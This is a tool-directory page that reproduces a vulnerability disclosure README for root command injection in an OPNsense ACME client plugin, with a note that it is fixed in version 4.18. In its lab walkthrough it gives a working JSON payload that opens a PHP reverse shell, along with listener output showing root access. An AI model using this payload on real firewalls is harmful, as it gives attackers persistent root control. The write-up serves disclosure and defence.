Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/cppghoul/cve-2026-123025
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration TestingCommand and Control
GitHubcppghoul/cve-2026-123025

CVE-2026-123025

OS command injection as root via Google Cloud DNS challenge key

查看仓库
14天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

[!WARNING] DISCLAIMER This proof-of-concept is provided for educational and authorized security testing purposes only. Use it only against systems you own or have explicit written permission to test. The author assumes no liability for any misuse or damage caused by this software. Unauthorized access to computer systems is a criminal offense in most jurisdictions.

CVE-2026-123025 - OPNsense os-acme-client Root Command Injection

OPNsense os-acme-client 4.17 - OS Command Injection as root via Google Cloud DNS challenge key.

Since I discovered this vulnerability, I would like to include my PoC for it.

Disclaimer

This proof-of-concept is provided for educational and authorized security testing purposes only. The author assumes no liability for any misuse or damage.

Vulnerability

The ACME Client plugin takes two values from the operator-supplied Google Cloud service account JSON key and interpolates them into shell commands without escaping or validation. project_id and client_email are read from the dns_gcloud_key model field (a plain TextField, no validation — AcmeClient.xml:740) and end up inside two gcloud config set ... calls in LeValidation/DnsGcloud.php (lines 81-82).

LeUtils::run_shell_command() feeds the resulting string straight to proc_open(), i.e. /bin/sh -c. Every comparable call site in the plugin goes through the safe helper LeUtils::execSafe() — these two statements are the only exception.

The certificate issuance chain runs as root:

WebUI/API "Issue certificate"
  └─ configd action [sign-cert]:
       /usr/sbin/daemon -f /usr/local/opnsense/scripts/OPNsense/AcmeClient/lecert.php   (root)
         └─ LeCertificate::issue()
              └─ LeValidation\DnsGcloud::prepare()          <-- injection fires here,
                                                             before any Google / ACME traffic

The injected command runs before any DNS-01 validation happens, so a fake JSON key is enough: no Google account, no valid domain. The payload stays in config.xml and runs again on every certificate auto-renewal (cron).

Affected Versions

  • OPNsense CE 26.7 + os-acme-client 4.17 - confirmed (root shell obtained)
  • os-google-cloud-sdk plugin must be installed (otherwise prepare() exits before the injection)
  • Presumably all recent releases carrying the current DnsGcloud.php (present since ≤ 2021)
  • Fixed in: 4.18

Impact

Any authenticated webGUI user with access to the ACME Client plugin pages (page ACL, not necessarily a full admin) can run arbitrary commands as root on the firewall: rewrite firewall rules, intercept traffic, extract VPN secrets, CA keys and config.xml.

Two cases worth noting:

  • A user holding only the Services: ACME Client page privilege gets a root shell whenever os-google-cloud-sdk is already installed — no firmware or SSH privileges required.
  • A stolen admin session can install both plugins from System → Firmware → Plugins and reach root without enabling the SSH service and without new services or firewall rules. The payload sits inside a regular JSON field, survives in config.xml and runs again on each certificate auto-renewal.

WriteUp

Target: 192.168.56.2 — OPNsense CE 26.7 (VirtualBox lab), plugins os-acme-client 4.17 + os-google-cloud-sdk 1.0_1, WebGUI on HTTPS.

  1. Log into the webGUI (session + CSRF token).
  2. Create a DNS-01 challenge of type Google Cloud DNS whose Service Account Key carries the payload in project_id:
    {"type":"service_account",
     "project_id":"poc; php -r '$s=fsockopen(\"192.168.56.1\",4444);proc_open(\"/bin/sh -i\",array(0=>$s,1=>$s,2=>$s),$p);' >/dev/null 2>&1 & #",
     "client_email":"[email protected]"}
    
  3. Create a certificate bound to that challenge and press "Issue" (POST /api/acmeclient/certificates/sign/<uuid>).
  4. DnsGcloud::prepare() executes the injected php -r as root and connects back:
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.2] 52979
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# hostname
OPNsense.internal
# opnsense-version
OPNsense 26.7 (amd64)

The plugin log confirms the order of events — the injection fires during validation preparation, before the ACME order is even created:

13:32:33 Registered                                  <- ACME account registered
13:33:12 Using CA ... Creating domain key            <- issue() started
            [ payload executed HERE as root ]
13:33:24 Error creating new order ... "poc" needs at least one dot   <- irrelevant to the exploit

Python PoC

The full exploit is implemented in PoC.py - interactive, no arguments. It performs the steps above over the webGUI API, starts nc -lvnp on its own and waits for the shell. PHP is used for the payload because it is always present on OPNsense (FreeBSD nc has no -e). The created ACME objects are left in place on purpose: the payload survives in config.xml and re-fires on auto-renewal.

Reverse shell as root

References

  • OPNsense security policy: https://docs.opnsense.org/security.html
  • os-acme-client source (vulnerable file): https://github.com/opnsense/plugins/tree/master/security/acme-client
  • Vendor advisory / CVE: https://www.cve.org/CVERecord?id=CVE-2026-123025
  • fix: https://github.com/opnsense/plugins/pull/5873 (you can also ensure that I am the reporter of this vuln there)

License

MIT — see LICENSE.

Author and vulnerability reporter

cppghoul

For educational and authorized security testing only.

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    371
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    336
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    322

探索所有工具

浏览我们的工具集合

查看所有工具 →